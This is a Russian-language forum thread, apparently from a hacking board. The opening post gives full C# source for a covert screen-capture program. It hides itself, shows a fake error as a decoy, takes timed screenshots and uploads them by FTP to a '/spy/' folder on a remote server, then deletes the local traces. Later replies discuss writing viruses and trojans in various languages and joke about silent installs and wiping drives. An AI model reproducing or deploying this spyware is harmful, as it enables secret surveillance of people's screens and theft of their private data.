программа, делающия чужие скриншоты, C#

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by ДобрЧел, 6 Mar 2011.

  1. ДобрЧел

    ДобрЧел New Member

    Joined:
    16 Oct 2010
    Messages:
    12
    Likes Received:
    1
    Reputations:
    0
    Привет,
    Хотел представить вашему вниманию написанную мной забавы ради программу, делающею скриншоты и загружающею их на фтп.
    Программа не имеет автозагрузки, т.е. работает до момента выключения компьютера или закрытия её из окна системных процессов.
    К формочке добавьте таймер, не забудьте его включить и установите интервал, с каким вы хотите делать скриншоты.


    Code:
    namespace screener
    {
        public partial class Form1 : Form
        {
            public Form1()
            {
                InitializeComponent();
            }
    
    
            string name;
    
            public Bitmap ScreenShot()     /////// Функция снятия скриншота.
            {
                Bitmap screenShotBMP = new Bitmap(Screen.PrimaryScreen.Bounds.Width,
                    Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb);
    
                Graphics screenShotGraphics = Graphics.FromImage(screenShotBMP);
    
                screenShotGraphics.CopyFromScreen(Screen.PrimaryScreen.Bounds.X,
                    Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size,
                    CopyPixelOperation.SourceCopy);
    
                screenShotGraphics.Dispose();
    
                return screenShotBMP;
            }
    
    
            ///// при загрузке показываем сообщение о глюке и делаем первый скриншот.
    
            private void Form1_Load(object sender, EventArgs e)
            {
    
                bool FirstRun;
                Mutex mutex = new Mutex(false, "Local\\553115", out FirstRun);
                
                if (FirstRun != true)
                {
                    MessageBox.Show("System.Core.Windows.Vista not found", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    this.Close(); ///// Если программа уже работает, а пользователь запускает её еще раз, то новую закрываем.
                }
    
    
                this.WindowState = FormWindowState.Minimized;
                this.ShowInTaskbar = false;
                MessageBox.Show("System.Core.Windows.Vista not found","Error", MessageBoxButtons.OK , MessageBoxIcon.Error );
                capture();
            }
    
    
            /////// функция закачки полученного скриншота на сервер.
    
            public void ftpfile(string ftpfilepath, string inputfilepath)  
            {
                string ftphost = "MYFTP.com";
    
                string ftpfullpath = "ftp://" + ftphost + "/public_html/spy/" + ftpfilepath;  
                FtpWebRequest ftp = (FtpWebRequest)FtpWebRequest.Create(ftpfullpath);
                ftp.Credentials = new NetworkCredential("FTP_USERNAME", "FTP_PASSWORD");  
    
                ftp.KeepAlive = true;  
                ftp.UseBinary = true;  
                ftp.Method = WebRequestMethods.Ftp.UploadFile;  
                FileStream fs = File.OpenRead(inputfilepath);  
                byte[] buffer = new byte[fs.Length];  
                fs.Read(buffer, 0, buffer.Length);  
                fs.Close();  
                Stream ftpstream = ftp.GetRequestStream();  
                ftpstream.Write(buffer, 0, buffer.Length);  
                ftpstream.Close();  
            }
    
    
            public void capture()      ///////////// делаем скриншот, сохраняем его, прячем, загружаем, стираем.
            {
                this.Hide();
                Image img = ScreenShot();
                name = "" + DateTime.Now.ToString("dd_MM_yyyy_HH_mm_ss") + ".jpg";
                img.Save(name, System.Drawing.Imaging.ImageFormat.Jpeg);
                File.SetAttributes(name, FileAttributes.Hidden);
                ftpfile(name, name);
                File.Delete(name);
            }
    
    
            //////////// при срабатывании таймера, делаем скриншот.
    
            private void timer1_Tick(object sender, EventArgs e)
            {
                capture();
            }
    
    
        }
    }
    
     
    #1 ДобрЧел, 6 Mar 2011
    Last edited by a moderator: 7 Mar 2011
  2. Jakeroid

    Jakeroid Member

    Joined:
    9 May 2009
    Messages:
    199
    Likes Received:
    12
    Reputations:
    1
    Молодец конечно, но имхо такие проги нада писать на С++, и что бы им не нужны были либы и тд.
     
  3. ДобрЧел

    ДобрЧел New Member

    Joined:
    16 Oct 2010
    Messages:
    12
    Likes Received:
    1
    Reputations:
    0
    C++ , к сожалению, не владею. :) Тем более, мне кажется, в инете был какой-то зверь, с чей помощью можно фреймворковский .exe превратить в нативный .exe, т.е. впихать в него все необходимые либы, чтоб он запустился даже на самой старой машине, без .net-а.
     
    1 person likes this.
  4. Jakeroid

    Jakeroid Member

    Joined:
    9 May 2009
    Messages:
    199
    Likes Received:
    12
    Reputations:
    1
    Вы не подумали какой на выходе будет размер?
    Думаю можно тогда сделай "скрытую установку .NET" :D. Тут уже кто-то предлагал в ответ на запуск скрытого ИЕ запускать скрытую VS2010. Почему бы не происталить .NET? :D
     
  5. ДобрЧел

    ДобрЧел New Member

    Joined:
    16 Oct 2010
    Messages:
    12
    Likes Received:
    1
    Reputations:
    0
    Я об этом с год назад читал, так что могу ошибаться, но вроде при помощи spoon.net конечные проги не должны весить больше пары метров.
     
  6. AlexTheC0d3r

    AlexTheC0d3r Elder - Старейшина

    Joined:
    25 Jul 2008
    Messages:
    388
    Likes Received:
    179
    Reputations:
    18
    Да что вы, классная идея -же была, любая авторизация шла в 2-3 строки кода)
     
  7. Jakeroid

    Jakeroid Member

    Joined:
    9 May 2009
    Messages:
    199
    Likes Received:
    12
    Reputations:
    1
    А еще лучше:
    Скрытая установка FreeBSD, и по вебке палить где юзер. Как только отошел, сразу формат C:\\ и загрузка фряхи! И что бы этот вирус весил не более 2-3 мб ;).

    А по теме, у мну авторизация тоже идет 2-3 строки кода, если предварительно взять уже готовый класс, или полу-готовый.
     
  8. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    Не больше пары метров... - хyйня то какая....
    Помоему в скором будущем вирусы начнут писать на C#, Java, python... к этому все и идет.
     
  9. arnis

    arnis Member

    Joined:
    30 Jan 2011
    Messages:
    280
    Likes Received:
    23
    Reputations:
    0
    Ага и 100 метров библиотек чтобы это счастье заработало.
    Формошлепство это, а не программирование.
     
  10. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    De-visible ***ня ***ней, а у меня серьезные сетевые приложения умещаются в 500кб
    а всякие спамеры, чекеры с интерфейсом и кучей плюшек в 50 кб
    В прогу размером 8кб можно поместить полноценный сетевой клиент или снифер

    Просто есть 2 разницы... когда стараешься писать небольшую по размерам, но функциональную прогу ты задумываешься не только о количестве использованных переменных и сколько они займут в памяти, а еще над тем как оптимизировать выполнение. в результате получается быстрая прога с минимум кода, которая дает фору метровым мутантам с замысловатыми фреймворками для копирования строки в строку
     
    _________________________
  11. GhostOnline

    GhostOnline Active Member

    Joined:
    20 Dec 2008
    Messages:
    723
    Likes Received:
    110
    Reputations:
    22
    Твоя цель уместить на харде как можно больше своего софта? :D
     
  12. cheater_man

    cheater_man Member

    Joined:
    13 Nov 2009
    Messages:
    651
    Likes Received:
    44
    Reputations:
    7
    Скорее всего маленький размер прог это уже не актуально, т.к. скорости сейчас не малые
    пс наверное уже сейчас мало кто помнит про диал ап=)
     
  13. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    GhostOnline моя цель разработать программу которая будет работать надежнее и быстрее аналогов.
     
    _________________________
  14. GhostOnline

    GhostOnline Active Member

    Joined:
    20 Dec 2008
    Messages:
    723
    Likes Received:
    110
    Reputations:
    22
    Gar|k
    Ну, имхо приоритеты в разработке зависят задачи...
    То есть, для системного ПО и игр и вообще любого "тяжелого" софта производительность и требовательность к ресурсам конечного продукта несомненно являются важнейшими приоритетами.
    Но, для большинства прикладных задач(в коммерческой разработке) скорость работы программы отходит на второй план а основными приоритетами становятся скорость разработки, читаемость кода, легкость в поддержке и модификации и т.п. Тут все больше правят бал как раз-таки явочка и сишарп, языки в которых повторное использование кода - одна из основных концепций, и написание велосипедов считается скорее моветоном.
    Также, склонность к оптимизации всего подряд пришла из тех пор, когда компьютеры были медленными, памяти постоянно не хватало и т.д., в общем из прошлого века. И в настоящее время террабайтовых хардов и многоядерных процессоров мне иногда становится забавно наблюдать за программистом тратящим свое дорогое кодерское время на то чтобы уменьшить размер exe на 20 кб. Извините, но это похоже на задротство.

    Насчет надежности не совсем понятна логика. Крупные фрэймворки/либы пишутся как правило специалистами, они давно протестированы и отлажены. Количество собственного кода программиста уменьшается, и при одинаковой плотности багов/строку кода общее их количество также уменьшается. Сама плотность багов на строку кода зависит только лишь от скиллов кодера.
    В общем, я сомневаюсь что проект на C# и фрэймворках в 10к строк будет менее надежен чем например аналогичный по функционалу проект в 50к строк на Си и без фрэймворков, только вот его будет проще поддерживать. Но опять же повторюсь все зависит от задач.

    Вообще, это конечно все имхо.
     
  15. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    GhostOnline, после поста я хотел тыкнуть кнопарь edit и дописать что несомненно в прикладных развиваемых проектах ООП проявляет себя только с лучшей стороны, но мне было лень.

    Мои слова относятся в большей степени к системному ПО, но и в обычных проектах где присутствуют вычисления с большим количеством повторений, стоит задумываться об оптимизации.
    Примером может послужить например распознавание образов и прочие интересные штуки завязанные с математическими вычислениями
     
    _________________________
  16. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    я писал уже такое, смотрите архив
     
  17. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    Сетевые приложения и трояны/спам боты/боты/вирусы разные вещи. Для скрытной работы, использовать зависимые яп не имеет смысла, по крайней мере в данный момент, в будущем я думаю так и будет, но сейчас это до сих пор не актуально. Есть C есть C++, есть asm, помоему этого вполне достаточно, и не стоит придумывать велосипедов. По вашим рассуждениям вирь можно реализовать и на python + py2exe/pyInstall, - в пару строк кода можно уместить большие возможности размер будет под несколько метров, но ведь у нас теперь быстрый интернет и на это можно не обращать внимания. Нет парни это глупость, это ИМХО.
     
  18. ДобрЧел

    ДобрЧел New Member

    Joined:
    16 Oct 2010
    Messages:
    12
    Likes Received:
    1
    Reputations:
    0
    Говоря о размерах, у меня написанное в C# сетевое приложение + библиотеки и иконки, превращенное в один нативный exe файл весит 0.9 мб.
    По моему для нынешних скоростей и объёмов размер более чем приемлемый.
     
  19. arnis

    arnis Member

    Joined:
    30 Jan 2011
    Messages:
    280
    Likes Received:
    23
    Reputations:
    0
    Не согласен, что размер не важен.
    Есть машины старые и вес на винте навес золота.
    Да и фрейморк уже на них не станет.
     
  20. KoF31n

    KoF31n New Member

    Joined:
    29 Nov 2010
    Messages:
    49
    Likes Received:
    1
    Reputations:
    0
    Прикольно.Ток я мало что в Си понимаю.
    А такое на дельфине возможно?
     
Loading...
Similar Threads - программа делающия чужие
  1. Peja
    Replies:
    0
    Views:
    2,676